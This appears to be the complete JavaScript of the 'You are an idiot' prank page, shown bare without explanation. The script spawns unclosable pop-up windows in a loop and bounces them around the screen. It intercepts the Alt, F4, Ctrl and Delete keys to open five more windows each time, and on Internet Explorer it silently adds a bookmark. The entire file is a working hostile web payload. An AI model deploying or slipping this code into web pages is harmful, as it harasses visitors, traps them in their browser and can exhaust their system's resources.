function bookmark() { if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) { var url="lol.html"; var title="Idiot!"; window.external.AddFavorite(url,title); } } var xOff = 5; var yOff = 5; var xPos = 400; var yPos = -100; var flagRun = 1; function changeTitle(title) { document.title = title; } function openWindow(url) { aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes'); } function procreate() { changeTitle("Idiot!"); for (var i = 0; i < 5; i++) { openWindow('lol.html'); } } function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) { alert("You are an idiot!"); procreate(); } } function ctrlkey() { if (event.keyCode == 17) { alert("You are an idiot!"); procreate(); } } function delkey() { if (event.keyCode == 46) { alert("You are an idiot!"); procreate(); } } function newXlt(){ xOff = Math.ceil(-6 * Math.random()) * 5 - 10 ; window.focus() } function newXrt(){ xOff = Math.ceil(7 * Math.random()) * 5 - 10 ; } function newYup(){ yOff = Math.ceil(-6 * Math.random()) * 5 - 10 ; } function newYdn(){ yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ; } function fOff(){ flagrun = 0; } function playBall() { xPos += xOff; yPos += yOff; if (xPos > screen.width - 357) { newXlt(); } if (xPos < 0){ newXrt(); } if (yPos > screen.height - 330) { newYup(); } if (yPos < 0){ newYdn(); } if (flagRun == 1){ window.moveTo(xPos, yPos); setTimeout('playBall()', 1); } }